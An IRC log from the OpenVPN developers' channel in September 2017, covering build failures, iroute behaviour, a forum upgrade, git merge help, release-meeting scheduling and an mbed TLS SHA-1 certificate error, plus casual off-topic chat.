05:01 * ordex takes a break 07:57 <@ecrist> mattock: I've performed an upgrade on a copy of the forum. phpBB warns that templates will need to be updated, so I'll look further into that over the next couple days and the coming weekend. I've simply applied our current ones and they seem to be working: https://forums.openvpn.net/upgrade-test/ 07:57 <@vpnHelper> Title: TEST FORUM - Index page (at forums.openvpn.net) 08:47 <@mattock> ecrist: noted, thanks! 09:08 < CRCinAU> yay @ systemd 'what is correct behaviour' :) 09:08 < CRCinAU> the great part is, everyone has their own opinion 09:08 < CRCinAU> and pottering will tell you they're all wrong ;) 09:12 <@dazo> CRCinAU: yeah, he'll probably say we're wrong when modifying the Restart delay :-P ... otherwise I think he'll be more on the happy side :-P 09:20 < CRCinAU> in other news, 100ms restart is just a retarded default - but eh 09:48 < CRCinAU> speaking of which, I just implemented auto-back off for my aircraft tracking stuff 09:49 < CRCinAU> it has a variable sleep that does $sleep * 1.5 when it does a loop with no work (up to a max of 15), and if it does work, it sets the sleep back to 1. 09:50 < CRCinAU> the other one for a non-interactive thing does a min sleep of 2s, then does $sleep * 2 for every non-work cycle 09:51 < CRCinAU> if it does work, then for it'll do $counter++ for each loop, then $sleep / $counter for the next loop 09:51 < CRCinAU> ie to a minimum of 2 or max of 60 seconds 09:52 < CRCinAU> that way, it can dynamically scale its sleep window based on the amount of work it does - with a fairly quick ramp up rate 10:56 <@dazo> CRCinAU: you can easily add a ExecStartPre= script (Perl? ;-)) which logs when it was last run. If less than say 5 minutes it could take the timediff from now() and the saved timestamp * 1.5 ... and if 5 minutes or more, it could keep it at 5 minutes - and shoot an e-mail to a sysadmin ... or something like that (lots of headroom for refinement ;-)) 10:57 <@dazo> actually, you would need to tweak the Timeout* settings if going beyond 90 seconds 11:42 <@ordex> cron2_: btw, this is the fix for the iroute logic that I was talking about earlier: "Allow learning iroutes with network made up of all 0s (only if netbits < 8)" 12:12 <@cron2_> ordex: well, that was a different one - that was "you can't have a 0.0.0.0/0 = default iroute" 12:12 <@cron2_> Thermi seems to have issues with *any* iroute not being passed to the --learn-address script 12:13 <@ordex> cron2_: oh yeah - sorry I did not mean I had a fix for him, but just that "I had a fix" :D 12:17 <@ordex> cron2_: seems like "expected" behaviour, no? having an iroute assumes that who wrote the config knows about the address, so why passing it learn-address? 12:18 <@ordex> or what is the use case? 12:18 <@cron2_> "dynamic" 12:18 <@cron2_> the route is only active while the VPN is up 12:19 <@cron2_> as iroute is a ccd/ thing, and ccd/ can come from plugins, --client-connect or whatnot, openvpn does *not* know at startup what iroutes might exist when a client connects 12:20 <@cron2_> so, client connects, "backend system" tells openvpn "this client is supposed to get 193.149.48.0/24 routed!", openvpn installs an iroute, tells learn-address, learn-address installs on the linux side and tells bird/quagga/..., these tell backbone routers, and all works 12:20 < Thermi> ordex: To avoid having to create other files or edit provided scripts. Having to edit in one place should be enough. 12:40 <@cron2_> edit anything is completely impossible in our case - the config is changing dynamically while openvpn is running, so "what's in the backend database when the client connects" is what needs to happen 12:40 <@cron2_> (the system is not yet done, though, so don't ask me about all the details :) ) 14:09 <@dazo> My memory might be failing me, but I don't think --learn-address was intended to handle iroute ... just "normal" addresses appearing on the VPN interface 14:10 <@dazo> --iroute just "tags" subnets to belong to specific clients 15:52 <@cron2_> "address learning" inside openvpn does not really relate to "appear on the VPN interface" (except for tap mode) - it's "whenever the mroute code is told about client addresses" - ifconfig-push, pool assignment, iroute 16:16 < Luqman> Is the packetid for replay protection in P_CONTROL* packets only there if tls-auth is enabled? 18:01 <@dazo> Luqman: no, I don't think so. --tls-auth is, afair, independent of packet-id references. 18:02 * dazo wonders if slypknot is trying to payback from yesterdays incident on the -devel ML now 18:20 < Luqman> dazo: Hmm, I was looking at some packet dump and didn't see that field show up in P_CONTROL packets. Also, the man page under tls-auth says "So as a second line of defense, OpenVPN offers this special layer of authentication on top of the TLS control channel so that every packet on the control channel is authenticated by an HMAC signature and a unique ID for replay protection." 18:21 < Luqman> (To be clear I don't mean the message packet-id but "packet-id for replay protection (4 or 8 bytes, includes sequence number and optional time_t timestamp)" 18:21 < Luqman> from https://openvpn.net/index.php/open-source/documentation/security-overview.html 18:21 <@vpnHelper> Title: Security Overview (at openvpn.net) 18:44 < Luqman> Also, what's the point of P_ACK in TCP mode? 20:19 <@ordex> dazo: Luqman: yes, the packet-id is there for tls-auth and I think it's there as replay protection. syzzer can confirm 20:21 <@ordex> cron2_: mattock: does buildbot run every night ? 20:21 < CRCinAU> dazo: yeah - so systemd is non-straight forwards for a lot of things 20:21 < CRCinAU> let alone the clusterfuck it leaves behind when it comes against deadlock conditions.... 20:21 < CRCinAU> ie inserting kernel modules etc --- Day changed Fri Sep 08 2017 01:56 <@cron2_> ordex: it runs whenever something is pushed 01:56 <@ordex> cron2_: oh alright, thanks! 02:28 <@mattock> ordex: buildbot runs on every commit, as does the Windows "buildslave" 02:28 <@ordex> yup,thanks ! 02:52 <@mattock> the build reports should go to the openvpn-builds mailing list 03:16 <@syzzer> ordex: in TLS mode the data channel keys for all cipher modes are exchanged and generated the same way 03:17 <@syzzer> only CBC mode supports static keys 04:30 <@ordex> syzzer: copy that :) 05:16 <@cron2_> wtf, someone is using my nick (cron2), and tries to authenticate to nickserv... 05:25 < Thermi> :D 07:32 <@ordex> and good evening everybody :) 07:33 <@dazo> mattock: but with the latest sf.net ML updates everyone had to re-subscribe .... have a look on the archives: https://sourceforge.net/p/openvpn/mailman/openvpn-builds/ ... no new mails there since June ... 07:33 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 07:34 <@dazo> or have everything we've done since june just worked and no build failures have happened? I can't believe we've been that good .... 08:25 <@cron2_> mattock: buildbot does not seem happy either 08:26 <@cron2_> http://10.177.36.101:8010/builders/ says "#0" for the build revision for everything 08:27 <@cron2_> so while I think what dazo and ordex have been doing is quite amazing, we *should* have seen an occasional t_client fail from MacOS ("because it always does for tap test #1") 09:17 <@ordex> :D 09:52 <@dazo> hmmm ..... 09:52 <@dazo> $ git log --no-show-signature --pretty=oneline v2.4.3..release/2.4 | wc -l 09:52 <@dazo> 60 09:53 <@dazo> begins to smell like a 2.4 release is getting ready 09:53 <@dazo> mostly clean-up .... but we have the a few more patches which would be good to add 09:53 <@dazo> perhaps we should plan a meeting next week? 09:56 <@cron2_> next week is a good week - all days except Tuesday work out (and Tuesday "late" = 20:30 european time) can be made to work 09:57 <@cron2_> and yes, a coordinated non-emergency release for a change would be welcome :) 09:58 <@dazo> :) 09:59 <@dazo> tue, wed and fri are completely free for me 09:59 <@ordex> dazo: we have a meeting on wed no? 09:59 <@dazo> yeah ... what I *tried* to write was: tue, thu, fri are completely free for me 10:00 <@ordex> on thu we have a meeting too, no? 10:00 <@dazo> do we? 10:00 * dazo double checks 10:00 <@ordex> about PRs 10:00 <@ordex> ah it's wed too 10:00 <@ordex> it's thursday here :D 10:02 <@ordex> dazo: :P 10:03 <@dazo> :-D 10:04 <@dazo> okay, I went through my whole list of mails and refreshed all calendars ... and wondered hard what I had missed :) 10:20 <@syzzer> I'm on-site with a client next week, but can probably make a meeting on Tue or Thu. Not really sure yet how thing will play out there though, so will have to see. 10:29 <@ordex> for me don't worry. just pick some time and I'll try to be awake :D 12:10 <@ordex> dazo: btw the v2 patch of the route.c cleanup accounts for all the uncrusify missing changes. running that was very useful :) 14:22 < Luqman> ordex: Thanks! --- Day changed Sat Sep 09 2017 04:05 <@mattock> I'm available for a meeting next week on Tue if it happens after ~20:30 EEST 04:06 <@mattock> I have two meetings/sessions just before that, the latter of which should not last more than 30 mins 04:07 <@mattock> I would prefer Tue to Thu, as otherwise I will have work (read: meetings) on three evenings in a row 04:07 <@mattock> rephrasing: "I would prefer Tue _over_ Thu" 04:54 < SCHAPiE> yey, libressl 2.6.1; updated my openvpn-build fork's master branch with it 05:04 < SCHAPiE> ah, new 2.4 rls soon? nice 07:56 <@cron2_> mattock: tue can be arranged - can you send an announcement? 08:17 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Quit: ABANDON SHIP! ABANDON SHIP!] 08:40 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 08:40 -!- mode/#openvpn-devel [+v novaflash] by ChanServ --- Day changed Sun Sep 10 2017 03:37 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 14:38 <@cron2_> argh 14:38 * cron2_ used to hate C++, but that has reached new levels now 14:38 <@cron2_> https://blogs.gentoo.org/blueness/2015/03/10/the-c11-abi-incompatibility-problem-in-gentoo/ 14:38 <@vpnHelper> Title: The C++11 ABI incompatibility problem in Gentoo Anthony G. Basile (at blogs.gentoo.org) 14:39 <@cron2_> I'm recompiling different bits and piecesl of my gentoo system since early morning, and it still breaks due to not-so-funny C++ library linking/name mangling errors 14:54 <@cron2_> ok, seems I found it (finally) - switch gcc and binutils to "latest" and rebuild all libraries... 19:41 <@ordex> cron2_: :S 19:41 <@ordex> cron2_: when was the last time you did a world upgrade 19:41 <@ordex> ? 20:54 <@ordex> syzzer: when you have time, would you mind giving another look at my travis-ci PRs for ovpn3? --- Day changed Mon Sep 11 2017 01:22 <@cron2_> ordex: a few months ago, because then it got stuck in ffmpeg vs. libav and refused to do world upgrades 01:22 <@cron2_> (still not sure how to solve that - for the time being I changed chromium to USE=-system-ffmpeg and removed vlc+mplayer) 01:23 <@ordex> oh ok 01:24 <@cron2_> not sure *what* is f*** up there - ffmpeg and libav should be compatible enough, but a few packages insist on "ffmpeg-for-real" and others want "libav-for-real" 01:25 <@cron2_> need to go and read .ebuild tonight to figure out how to get tvheadend *and* mplayer on the same box again... 01:29 <@ordex> oh I did not know tvheadend 02:17 <@cron2_> this box is also acting as my video recorder :-) - so that part needs to work :-)) 04:11 <@ordex> so meeting set for tomorrow your evening? I haven't seen any announcement (if it was sent) 04:11 <@ordex> cron2_: mattock: ^^ 04:17 <@mattock> tomorrow at 21:00 my time (EEST) will work 04:17 <@mattock> what topics to discuss? 04:20 <@ordex> I think one item was 'how to punish cron2_ for his long vacation' 04:20 <@ordex> and then the new release for 2.4.x 04:30 <@cron2_> if we start so late, I think we should focus on two things: restore a somewhat reliable meeting schedule, and 2.4.x-next release 04:48 <@mattock> sounds good, I will send the agenda post-lunch 04:49 <@cron2_> mattock: while you're at it :-) - could you check buildmaster? I looked friday, and it seems to have not built anything in a long while 04:54 <@mattock> hmm 04:54 <@mattock> yes 04:55 <@mattock> was the previous meeting really in March? 04:57 <@ordex> nope, we had a meeting in august 04:57 <@ordex> but probably no agenda was set/written down 05:00 <@mattock> ok 05:03 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2017-09-12 05:03 <@vpnHelper> Title: Topics-2017-09-12 – OpenVPN Community (at community.openvpn.net) 05:03 <@mattock> I will send the invitation if that looks good 05:05 <@ordex> mattock: 20:00 CET (19:00 UTC) << it is not CEST anymore in central europe ? 05:07 <@mattock> https://www.timeanddate.com/time/zones/cest 05:07 <@vpnHelper> Title: CEST Central European Summer Time (Time Zone Abbreviation) (at www.timeanddate.com) 05:07 <@mattock> it changes late-october afaics 05:07 <@mattock> "CEST will be observed in Brussels until 29 Oct 2017, 03:00" 05:07 <@mattock> ah, it said "CET" 05:07 <@mattock> sorry 05:08 <@mattock> to add to the confusion the invitation email said "CEST" 05:08 <@mattock> now the timezone should be correct 05:10 <@ordex> so it's 20 CEST, right ? 05:11 <@mattock> yes 05:11 <@mattock> 18:00 UTC (the offset is +0200 atm) 05:12 <@mattock> -> lunch 05:14 <@ordex> k 06:26 <@cron2_> huh, EEST is GMT+3? 06:27 * cron2_ won't make 20:00 CEST, but can make 20:35(about) 06:32 <@cron2_> (I thought EEST is also +2 like CEST) 07:59 <@dazo> cron2_: EEST == CEST+1 .... just as EST (non-daylight saving) is CET+1 08:00 <@dazo> I propose we delay the meeting to 20:30-ish .... as I'll have a noticeably better chance to be present at that time too 08:03 <@cron2_> yes, that would be better. (I would have said something earlier, but got confused about time zones) 08:03 <@dazo> I remember you said 20:30 CEST on Friday :) 08:09 <@cron2_> now I read 21:00 and assumed mattock could not make 20:30, and 21:00 was actually later than 20:30 ;-) 08:10 <@dazo> but .... Samuli's announcement says 18:00 UTC / 20:00 CEST .... as does the topics page https://community.openvpn.net/openvpn/wiki/Topics-2017-09-12 08:10 <@vpnHelper> Title: Topics-2017-09-12 – OpenVPN Community (at community.openvpn.net) 08:11 <@dazo> and 21:00 EEST is 20:00 CEST 08:11 <@dazo> https://www.timeanddate.com/worldclock/meetingtime.html?iso=20170912&p1=136&p2=37&p3=101 08:11 <@vpnHelper> Title: The World Clock Meeting Planner - Results (at www.timeanddate.com) 08:12 <@dazo> gee ... london is UTC+1 :-P 08:14 <@dazo> ecrist: it's impossible to log into the forums now 08:20 < CRCinAU> so ummmmm new release party soon? 08:21 <@dazo> CRCinAU: hehe ... s/soon/sometime in future/ ;-) 08:23 * CRCinAU grumbles. 08:24 <@dazo> CRCinAU: we'll discuss that tomorrow 08:43 <@ecrist> dazo: it is? 08:43 * ecrist never did the update 08:44 <@ecrist> o.O 08:44 <@ecrist> so, I'll need to find out why it's forwarding to the upgrade-test page, I can fix that. 08:47 <@ecrist> dazo: that's fixed now. 08:59 < CRCinAU> btw, if you guys need idiots to do sysadmin, I have too much time on my hands these days ;) 09:05 <@ecrist> I'll have you know, I'm an idiot enough! 09:05 <@ecrist> CRCinAU: we could use help on the forums for moderating 09:05 < CRCinAU> we have forums? 09:06 <@ecrist> yes 09:06 <@ecrist> https://forums.openvpn.net 09:06 <@vpnHelper> Title: OpenVPN Support Forum - Index page (at forums.openvpn.net) 09:07 < CRCinAU> well, shit. I didn't know that. 09:08 <@ecrist> been around since ~2008 09:09 < CRCinAU> in other news.... 18:00 UTC..... that's........ 09:09 < CRCinAU> 04:00 my time. 09:09 < CRCinAU> fuck. 09:09 < CRCinAU> add: Someone still needs to audit my bloody YubiOTP perl script for inclusion in contrib 09:19 <@ecrist> CRCinAU: if you do want to be a forum moderator, let me know. 09:23 < CRCinAU> forums though...... 10:16 <@ordex> CRCinAU: and? you can't have a meeting at 4AM ? :D 10:27 < CRCinAU> I can, but usually its with the blonde of my dreams ;) 10:27 < CRCinAU> anyhow - I've been sucked in to looking at Arduinos on ebay when I need to be sleeping :\ 10:27 < CRCinAU> ttyl 10:37 <@dazo> ecrist: thx! 13:25 <@cron2_> *grumble*... stable tvheadend only builds with ffmpeg <3 or libav, and all the rest of gentoo wants ffmpeg >=3 and even stuff that claims "libav support" does not actually build (like, mpv, and I can't find in the .ebuild why on earth it is not taking the use flags) 13:38 <@cron2_> *grumblegrumble* actually tvheadend in gentoo is stale... new stable version was released 5 months ago, and it's not even there as masked ebuld 13:46 <@dazo> the joys of gentoo :) 15:09 <@cron2_> that's more a generic "the joys of open source projects, forks, library dependencies, and egoes" 15:10 <@cron2_> gentoo is hit harder than the others because you can have everything at the same time, so the potential for conflicts and weird side-effects is much higher... 15:10 <@cron2_> but generally speaking, I'm not surprised to see this whole sh*t explode... 15:50 <@syzzer> 20:30 is better for me too 15:51 <@syzzer> still can't promise anything - out for a job in Stockholm - but will try to make it 16:27 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 260 seconds] 16:46 <@syzzer> ordex: looked at the travis PRs, and looks good to me :) 19:22 <@ordex> syzzer: thanks! :) 19:22 <@ordex> mattock: ^^ 20:41 -!- CRCinAU_ is now known as CRCinAU 21:36 <@ecrist> forum upgrade is complete 21:36 <@ecrist> 3.2.1 goodness (/me hasn't noticed much) 21:37 <@ordex> goodness! 23:22 < CRCinAU> 'the greater good' 23:23 < CRCinAU> https://www.youtube.com/watch?v=DnqPrDN77Xg --- Day changed Tue Sep 12 2017 02:00 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 02:00 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 03:07 <@ordex> syzzer: did you have any time to make progress on the tls-crypt-v2 front? if you have no time now, we could quickly touch this topic later today during the meeting 03:08 <@ordex> cron2_: dazo: btw I start to have the feeling that having patchwork could help us (assuming we have time to set it up) 05:11 <@ordex> mattock: what do you think about reviewing/merging the travis-ci branches in the ovpn3 repo ? 05:14 <@dazo> ordex: yupp ... that's what we've been discussing a few times already .... "time" is the keyword to why it haven't happened yet ... but perhaps we should re-prioritise a few things to get this higher up on the TODO list 05:15 <@ordex> oh alright 05:29 <@cron2_> ordex: that's why we want it :-) 08:06 <@ecrist> mattock: ping? 08:10 <@mattock> ecrist: hi 08:10 <@ecrist> I'm finally looking at your easyrsa pull request 08:10 <@mattock> let me dig it up... 08:10 <@ecrist> https://github.com/OpenVPN/easy-rsa/pull/114 08:11 <@vpnHelper> Title: Packaging fixes by mattock · Pull Request #114 · OpenVPN/easy-rsa · GitHub (at github.com) 08:11 <@ecrist> it has some merge conflicts at this point, but I think I've resolved them 08:11 <@ecrist> (just trying to figure out how to convince git I've resolved them) 08:11 <@mattock> "git add" should do it 08:12 <@mattock> there are actually quite a few PRs pending 08:12 <@ecrist> yeah, I've been going through them pretty regularly the past month or so 08:12 <@mattock> excellent! 08:13 <@mattock> are there any promising maintainers wihin the PR authors? 08:13 <@ecrist> https://github.com/OpenVPN/easy-rsa/graphs/contributors 08:13 <@vpnHelper> Title: Contributors to OpenVPN/easy-rsa · GitHub (at github.com) 08:13 <@mattock> it would be good to outsource some of the review work to new people 08:15 <@mattock> well, nobody obvious I guess 08:15 <@mattock> but generally if PRs get accepted people tend to send more 08:15 <@mattock> and eventually somebody may get interested enough to co-maintain 08:15 <@ecrist> yup 08:16 <@ecrist> The project was mostly quite for a couple years. I've finally wrapped my head around what Josh was doing. 08:18 <@ecrist> Can you help me with this merge issue? 08:18 <@mattock> sure 08:19 <@ecrist> so, I pulled your code, and I've modified the conflicts 08:19 <@ecrist> I've done a git add 08:19 <@ecrist> so I need to commit it before I switch back to master? 08:19 <@ecrist> if I try to switch I get " your local changes to the following fiels would be overwritten... Please commit your changes or stash them before you switch branches. 08:19 <@mattock> yes, you can't have changes in the index when switching branches 08:20 <@ecrist> ok 08:20 <@mattock> in general, I believe it is easiest to work in the master branch 08:20 <@mattock> then create a new branch based on a remote branch 08:21 <@mattock> then "git merge <name-of-new-branch>" 08:21 <@mattock> then resolve conflicts, git add, git commit and git push 08:21 <@ecrist> gah 08:22 <@mattock> of course using the above approach you'd need to configure a Git remote (e.g. mattock/easy-rsa) so that you can create a branch from it 08:22 <@mattock> but "whatever works" is good enough :P 08:23 <@ecrist> let's see if it blows up 08:23 <@ecrist> github seems to think I did it the right way 08:24 <@mattock> ecrist merged commit 6ba06da into OpenVPN:master 35 seconds ago 08:24 <@mattock> the other commit is missing 08:24 <@ecrist> which one? 08:24 <@mattock> "Fix build-dist.sh" 08:24 <@mattock> I'll verify 08:25 <@mattock> no, both commits are there 08:26 <@mattock> GitHub just mentioned the other one 08:26 <@mattock> oh yes, because the commit ID no longer matched as you had to modify it 08:26 <@mattock> so all is good 08:26 <@ecrist> ok, good 08:26 <@ecrist> turns out this monkey CAN be trained 08:27 <@mattock> yeah, it may take some time, but you're getting there definitely :) 08:51 <@dazo> ecrist: git merge --continue is often quite helpful after you've done git add to resolved conflicting files 08:52 <@dazo> most of those "merge" features (git {am, apply, rebase, merge}) now have --skip, --continue and --abort 08:53 <@dazo> oh, maybe not git apply on second thought ... but the others should have them 08:59 <@ecrist> ok 08:59 <@ecrist> you all are dragging me into git kicking and screaming, but I hope I get a lolli once I arrive. :) 09:00 <@dazo> absolutely! :) 09:22 <@cron2_> mattock: you still here? 10:57 <@ordex> aloha 11:06 <@mattock> cron2_: am now 13:19 <@ecrist> I'm all like, "wow, this guy is an asshole" ==> he's just German 13:19 <@ordex> LOL 14:26 < Thermi> Are you talking about me? :) 14:28 < Thermi> (I know you're not. I'm joking about other people calling me an asshole and I'm German) 14:42 <@dazo> !man 14:43 <@vpnHelper> "man" is (#1) http://openvpn.net/man for 2.0 manual, or (#2) http://openvpn.net/man-beta.html for 2.1 manual, or (#3) http://openvpn.net/index.php/open-source/documentation/manuals/427-openvpn-22.html for 2.2 manual, or (#4) the man pages are your friend! 14:43 <@dazo> ordex: ^^^ that's what I expected :) 14:43 <@ordex> :) 14:44 <@dazo> gee, that one is completely outdated though 14:44 <@ordex> 2.2 14:44 <@ordex> !! 14:44 <@dazo> yeah 14:44 <@dazo> !forget man * 14:44 <@vpnHelper> Joo got it. 14:44 <@dazo> !learn man as For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ 14:44 <@vpnHelper> Joo got it. 14:44 <@dazo> !learn man as the man pages are your friend! 14:44 <@vpnHelper> Joo got it. 14:45 <@dazo> !man 14:45 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/, or (#2) the man pages are your friend! 14:45 * dazo ignores the two other ones found in #openvpn ... as I expect people here to know those "pro-tips" 15:23 <@cron2_> syzzer: why are your mbedtls t_client tests not failing? 20:13 <@ordex> CRCinAU: how many key pairs can you store on the yubikey ? 20:36 <@ordex> or is it for OTP only ? 20:39 <@ordex> ah no, the NEO and the 4 do key storage as well 20:39 <@ordex> 3 pairs as well, like nitrokey 21:37 < CRCinAU> ordex: I have no idea :P so thankfully you found it.... 21:38 < CRCinAU> but no notes on the meeting of someone being strapped to a chair to review my YubiOTP contrib script ;) 21:39 <@ordex> :P --- Day changed Wed Sep 13 2017 01:47 <@cron2_> CRCinAU: "it was not on the agenda" 01:58 <@ordex> cron2_: is this the meme of the month? :P 01:58 <@ordex> sounds like a good excuse to use in different occasions 01:58 <@ordex> hehe 02:11 < CRCinAU> cron2_: I asked for it to be ;) 02:16 <@cron2_> well, the focus was on scheduling, and not much technical discussions (due to time constraints). But with regular once-per-week meetings restored, things should become a bit more organized again 02:18 < CRCinAU> ;) 02:54 <@cron2_> ordex: not sure if he understands that to rebase, one is supposed to use "rebase", not "merge"... 07:09 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 246 seconds] 07:19 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 07:19 -!- mode/#openvpn-devel [+o dazo] by ChanServ 11:05 <@cron2_> syzzer: any ideas 21:14 <@ordex> morning! --- Day changed Thu Sep 14 2017 04:19 <@dazo> morning :) 04:53 <@ordex> :) 08:41 <@plaisthos> morning! 08:56 <@ordex> evening! 09:37 <@dazo> afternoon! 09:37 <@dazo> :) 16:48 <@syzzer> cron2_: hm. do you have a log for me? 16:53 <@cron2_> syzzer: let me see 16:53 <@cron2_> oh, you have an account on that machine :-) - wait 16:54 <@syzzer> yeah, but only work laptop with me on the job. not the right SSH key... 16:54 <@cron2_> ok, will produce a log and pastebin 16:56 <@cron2_> library versions: mbed TLS 2.5.1, LZO 2.10 16:57 <@cron2_> https://paste.fedoraproject.org/paste/fg4QV-SfB2qkR7kIt891Og 16:58 <@cron2_> the gist is here 16:58 <@cron2_> Thu Sep 14 23:51:57 2017 VERIFY ERROR: depth=0, subject=C=US, ST=California, L=Pleasanton, O=OpenVPN community project, CN=server, emailAddress=samuli@openvpn.net: The certificate is signed with an unacceptable hash. 16:58 <@cron2_> Thu Sep 14 23:51:57 2017 TLS_ERROR: read tls_read_plaintext error: X509 - Certificate verification failed, e.g. CRL, CA or signature check failed 16:58 <@syzzer> ah, SHA1 deprecation... 16:58 <@cron2_> the error is clear enough, but what I do not understand is "this is the same server cert that all buildslaves are talking to, why is only this particular instance complaining" 16:59 <@syzzer> the only one running mbed 2.6? 16:59 <@cron2_> 2.5.1 16:59 <@cron2_> (and yes, I think the other ones have 2.4.x-ish) 16:59 <@syzzer> ah, only one running 2.5 then? :p I'll see if they changed anything 16:59 <@cron2_> but what about your clients? 17:00 <@syzzer> let me see... 17:01 <@syzzer> ah, my build slave is running on the 2.1 LTS branch 17:01 <@cron2_> so something new in 2.5.x then... maybe SHA1 depreciation or something 17:02 <@cron2_> Removed SHA-1 and RIPEMD-160 from the default hash algorithms for 17:02 <@cron2_> certificate verification. SHA-1 can be turned back on with a compile-time 17:02 <@cron2_> option if needed 17:02 <@cron2_> *sigh* 17:02 <@syzzer> oh, but I sent a patch for that ages ago 17:02 <@syzzer> but dazo wasn't happy with it :p 17:03 <@syzzer> will need to pick that one up again... 17:03 <@cron2_> meh 17:03 <@cron2_> yes, please :) 17:03 <@syzzer> (and the t_client stuff will need to migrate to SHA2 at some point too ;-) ) 17:04 <@cron2_> yeah... not like we did not re-roll all the certs like a year ago due to RSA1024 depreciation... 17:04 <@cron2_> anyway. should have been in bed over an hour ago... good night! 17:04 <@syzzer> same here. good night! 17:04 <@syzzer> (so why didn't we upgrade to SHA2 back then...?) 17:06 * dazo looks up 17:06 <@cron2_> "nobody told me" 17:07 <@dazo> I think that was the patch where the mbed TLS would not be feature aligned with OpenSSL, iirc ... we need to avoid that as much as ever possible 17:08 <@syzzer> dazo: yeah, I looked into that, but OpenSSL only provides an API to do the same for 1.1+ 17:09 <@syzzer> and back then the 1.1 patches were not yet in 17:09 <@dazo> ahh, right ... hmmm ... 17:09 <@syzzer> but they are now, so I can see if it's doable to align for at least ossl 1.1+ 17:09 <@dazo> that would be really good! 17:10 <@syzzer> I also just sent two patches to the list that I think are in your alley :) 17:11 * dazo peeks 17:11 <@syzzer> touching platform-related stuff, error handling and pf 17:12 <@dazo> right ... my head is now wrapped into some openvpn3 stuff ... but I'll give this a look tomorrow or early next week 17:13 <@syzzer> sure - I won't get to the --tls-cert-profile thing before the weekend either 17:13 <@syzzer> time for bed now, good night! 17:13 <@dazo> g'night! 19:43 <@vpnHelper> RSS Update - tickets: #934: Client cannot connect using IPv6 transport <https://community.openvpn.net/openvpn/ticket/934> 20:53 < CRCinAU> Morning 20:53 < CRCinAU> or mourning. maybe both. 22:12 <@ordex> CRCinAU: :O 22:54 < CRCinAU> urge to kill rising! :P 22:55 < CRCinAU> https://www.youtube.com/watch?v=rEncdhmJhHM --- Day changed Fri Sep 15 2017 05:06 <@dazo> I stumbled upon this one yesterday .... https://www.youtube.com/watch?v=MJOjK746cYw We used that during high-school to learn 8086 assembly! (didn't have to assemble it ourselves though) 05:14 <@ordex> hehe 05:16 <@dazo> Those were the days, when assembly was just a few handful operators and the complete CPU cheat-sheet was a single A4 page :-P 05:41 <@ordex> hah 05:41 <@ordex> very old days 05:42 <@ordex> now asm is almost as rich as c++14 :P 05:42 <@dazo> and that's not including all the extensions! 05:47 <@dazo> hmmm .... I'm receiving lots of port scans from 5.101.40.16 .... owned by: UNITEDPROTECTION-NET, Cloud Hosting & DDoS Protection ........ 05:59 <@ordex> you have some IDS installed on your servers? 06:03 <@dazo> hehe ... nope, just logwatch :) 06:03 <@ordex> ah :) 06:04 <@dazo> I probably should have had some IDS on some of my public boxes ... but it takes time to configure properly :) 06:05 <@ordex> yeah 06:05 <@ordex> the question then is: what do you do with the output? spend more time? 06:05 <@ordex> :D 06:05 <@dazo> I often also -j DROP as the default, together with -m recent ... so if someone does a port scan on a non-open port they get blocked for a week 06:05 <@ordex> oh ok 06:06 <@dazo> but this is a new box I have barely started to configure, so haven't come too far on that 06:06 <@dazo> it's interesting to see how persistent some of these scanners can be 06:12 <@dazo> this is the worst one I've ever seen .... 163506 packets dropped from 5.19.0.0/16 in less than 30 days 06:14 * dazo need a reboot 06:30 < CRCinAU> NEVER REBOOT, NEVER SURRENDER 06:30 < CRCinAU> unless you run Windows... then you reboot cos you moved the mouse 06:31 <@dazo> firefox suddenly rejects to use by USB based sound card when the laptop is in the docking .... :/ 06:31 <@dazo> and the uptime was about 14 days or so ... as I often suspend the laptop 06:34 < CRCinAU> suspend is for those without an SSD :P 06:35 <@dazo> hehe ... well, even with SSD (which boots in a few seconds) .... suspend less than 1 second :) .... unless autofs/automount processes gets cranky and needs to get kicked 06:36 <@dazo> (which have not happened often at all on my fresh RHEL7.4 install) 06:36 < CRCinAU> RHEL on a laptop? 06:36 < CRCinAU> man, you like to live dangerously :\ 06:37 <@dazo> yeah, RHEL 7 server .... https://developers.redhat.com/products/rhel/overview/ ... "Developer subscription" which is free if you sign-up 06:38 <@dazo> RHEL 7 on laptop dangerous? .... This have turned out to be one of the most stable and solid installs .... well, I do use VMs a lot too when I need more bleeding edge or test different distros 06:38 < CRCinAU> I just use Fedora :p 06:41 <@dazo> I've used Fedora 8 to 19 .... (jumped over some releases, though) .... it worked fairly well, but once it gets cranky, it did often get bad .... so therefore I prefer to destroy the OpenVPN packages for Fedora from RHEL instead :-P 06:41 <@dazo> (Before that, I've used Ubuntu, SUSE, Gentoo and Slackware on laptops) 08:04 * cron2_ tends to use Ubuntu on his next laptop... RedHat Linux "since very early", then a bit SuSe, then Gentoo for about 10 years now, and Ubuntu sounds like the nicest combination of "everything you want is there!" and "things just work!" nowadays 09:33 <@mattock> dazo: recent Fedora versions (say, 23+) have been surprisingly stable in laptop usage 09:33 <@mattock> I've had bad experience with old Fedora versions, although as VMs 09:33 <@mattock> they always exploded (i.e. did not boot) for some unknown reasons 09:35 <@mattock> I think the VMs were Fedora 14/16 or so 14:22 <@dazo> Fedora is what becomes RHEL .... where Fedora have 12 months supported life cycle and RHEL now have 10 years. RHEL/CentOS/SL + Fedora EPEL covers at least the major parts of what I need; the rest I can run in a VM with Fedora or other distros/OS 14:22 <@dazo> (on the other hand, I'm no gamer .... so I don't mind if I can run the latest Steam Engine :-P) 16:51 <@syzzer> brilliant, openssl docs: APPLICATION DEFINED SECURITY CALLBACKS 16:51 <@syzzer> I<Documentation to be provided.> 16:51 <@syzzer> .. out to the source it is 17:02 < Luqman> Hi, is the autolocal option documented anywhere for redirect-gateway? 17:05 <@dazo> Luqman: from the man page: 17:05 <@dazo> autolocal -- Try to automatically determine 17:05 <@dazo> whether to enable local flag above. --- Day changed Sun Sep 17 2017 06:05 < CRCinAU> ok.... who is good at CSS and web 